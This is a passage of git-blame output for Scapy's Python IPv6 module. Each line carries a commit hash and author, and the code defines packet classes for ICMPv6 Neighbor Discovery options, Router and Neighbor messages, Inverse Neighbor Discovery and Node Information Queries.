1824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s + self.i2m(pkt, val)
1825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = s[:l]
1829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l < 16:
18302a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            p += b'\x00'*(16-l)
1831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:], self.m2i(pkt,p)
1832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, x):
1834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, x))
18350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = pkt.len
1838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
1840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = "::"
1841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if l is None:
1842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = 1
1843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = inet_pton(socket.AF_INET6, x)
1844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is None:
1846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
1847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [0, 1]:
1848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return ""
1849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [2, 3]:
1850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x[:8*(l-1)]
1851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18522a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return x + b'\x00'*8*(l-3)
1853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
1855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
1856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",24),
1857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="prefix", fmt="B",
1858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x/8 + 1),
1859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", None),
1860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,3),
1861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("prf",0,2),
1862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res2",0,3),
1863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("rtlifetime", 0xffffffff),
18646057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                    _IP6PrefixField("prefix", None) ]
18650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
1867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
1868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 25),
1869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="dns", fmt="B",
1870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
1871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", None),
1872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("lifetime", 0xffffffff),
18730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6ListField("dns", [],
1874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*(pkt.len-1)) ]
1875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
1877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
1878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 26),
1879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res", 0, 48) ]
1881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18826057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
18836057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# described in section 3.1 of RFC 1035
18846057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# XXX Label should be at most 63 octets in length : we do not enforce it
18856057906368d55634d11e1d19a5cca1f127595b11Robin Jarry#     Total length of domain should be 255 : we do not enforce it either
18866057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass DomainNameListField(StrLenField):
18876057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    __slots__ = ["padded"]
18886057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    islist = 1
18896057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    padded_unit = 8
18906057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18916057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def __init__(self, name, default, fld=None, length_from=None, padded=False):
18926057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        self.padded = padded
18936057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        StrLenField.__init__(self, name, default, fld, length_from)
18946057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18956057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2len(self, pkt, x):
18966057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return len(self.i2m(pkt, x))
18976057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
18986057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def m2i(self, pkt, x):
18996057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        res = []
19006057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        while x:
19016057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            # Get a name until \x00 is reached
19026057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            cur = []
19032a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            while x and x[0] != b'\x00':
19046057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                l = ord(x[0])
19056057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                cur.append(x[1:l+1])
19066057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[l+1:]
19076057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            if self.padded:
19086057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Discard following \x00 in padded mode
19096057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              if len(cur):
19106057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                res.append(".".join(cur) + ".")
19116057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            else:
19126057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Store the current name
19136057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              res.append(".".join(cur) + ".")
19142a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            if x and x[0] == b'\x00':
19156057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[1:]
19166057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return res
19176057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19186057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2m(self, pkt, x):
19196057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        def conditionalTrailingDot(z):
19202a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            if z and z[-1] == b'\x00':
19216057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                return z
19222a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            return z+b'\x00'
19236057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # Build the encode names
192405dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon        tmp = [[chr(len(z)) + z for z in y.split('.')] for y in x]
192505dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon        ret_string  = "".join(conditionalTrailingDot("".join(x)) for x in tmp)
19266057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19276057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # In padded mode, add some \x00 bytes
19286057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        if self.padded and not len(ret_string) % self.padded_unit == 0:
19292a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit)
19306057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19316057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return ret_string
19326057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19332e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadonclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
19342e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
19352e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    fields_desc = [ ByteField("type", 31),
193632b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                    FieldLenField("len", None, length_of="searchlist", fmt="B",
193732b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                                  adjust=lambda pkt, x: 1+ x/8),
19382e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ShortField("res", None),
19392e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    IntField("lifetime", 0xffffffff),
19402e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    DomainNameListField("searchlist", [],
19412e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        length_from=lambda pkt: 8*pkt.len -8,
19422e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        padded=True)
19432e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ]
19442e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon
1945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# End of ICMPv6 Neighbor Discovery Options.
1946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
1948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Solicitation"
1949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 133, icmp6types),
1950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res",0) ]
1953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }}
1954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
1956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Advertisement"
1957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 134, icmp6types),
1958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("chlim",0),
1961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("M",0,1),
1962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("O",0,1),
1963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("H",0,1),
1964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("prf",1,2, { 0: "Medium (default)",
1965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "High",
1966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Reserved",
1967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Low" } ), # RFC 4191
1968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("P",0,1),
19690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res",0,2),
1970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("routerlifetime",1800),
1971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("reachabletime",0),
1972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("retranstimer",0) ]
1973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
1974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6ND_RS)
1977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
1980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",135, icmp6types),
1981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
19836695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IntField("res", 0),
1984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::") ]
1985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
1986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (tgt: %tgt%)")
1989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
19910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.tgt+self.payload.hashret()
1992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
19936695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadonclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
1994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
19956695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    fields_desc = [ ByteEnumField("type",136, icmp6types),
19966695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    ByteField("code",0),
19976695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XShortField("cksum", None),
19986695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("R",1,1),
19996695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("S",0,1),
20006695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("O",1,1),
20016695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XBitField("res",0,29),
20026695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IP6Field("tgt","::") ]
20036695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
20046695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20056695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def mysummary(self):
20066695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon        return self.sprintf("%name% (tgt: %tgt%)")
20076695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20086695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def hashret(self):
20090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.tgt+self.payload.hashret()
2010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
201277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
2013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# associated possible options : target link-layer option, Redirected header
2015c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Redirect"
2017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",137, icmp6types),
2018c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res",0),
2021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::"),
2022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst","::") ]
2023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2024c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2025c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2026c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ###############
2028c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2029c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",9),
2032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addrlist", fmt="B",
2033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
20342a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
2035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField("addrlist", [],
2036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*(pkt.len-1)) ]
2037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
20400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    type = 10
2041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# RFC3122
2044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : source lladdr et target lladdr
2045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : source address list, MTU
2046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   demandee dans l'option requise target lladdr et l'utiliser au niveau
2048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   de l'adresse destination ethernet si aucune adresse n'est precisee
2049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
20500d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   les options.
2051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Ether() must use the target lladdr as destination
2052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",141, icmp6types),
2055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises :  target lladdr, target address list
2061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : MTU
2062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",142, icmp6types),
2065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ICMPv6 Node Information Queries (RFC 4620)
2073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
20750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Add automatic destination address computation using computeNIGroupAddr
2076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     in IPv6 class (Scapy6 modification when integrated) if :
2077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - it is not provided
2078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - upper layer is ICMPv6NIQueryName() with a valid value
2079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Try to be liberal in what we accept as internal values for _explicit_
20800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     DNS elements provided by users. Any string should be considered
2081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     valid and kept like it has been provided. At the moment, i2repr() will
2082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     crash on many inputs
2083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Do the documentation
2084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Add regression tests
20850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Perform test against real machines (NOOP reply is proof of implementation).
20860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Check if there are differences between different stacks. Among *BSD,
20870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     with others.
2088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Deal with flags in a consistent way.
20890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Implement compression in names2dnsrepr() and decompresiion in
20900d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     dnsrepr2names(). Should be deactivable.
2091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6_niqtypes = { 0: "NOOP",
2093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  2: "Node Name",
2094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "IPv6 Address",
2095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  4: "IPv4 Address" }
2096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIHashret:
2099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce
2101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6NIAnswers:
2103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.nonce == other.nonce
2105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Buggy; always returns the same value during a session
2107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NonceField(StrFixedLenField):
2108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default=None):
2109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrFixedLenField.__init__(self, name, default, 8)
2110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
2111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.default = self.randval()
2112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2113caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
2114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef computeNIGroupAddr(name):
2115caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Compute the NI group Address. Can take a FQDN as input parameter"""
2116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    import md5
2117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = name.lower().split(".")[0]
2118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    record = chr(len(name))+name
2119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = md5.new(record)
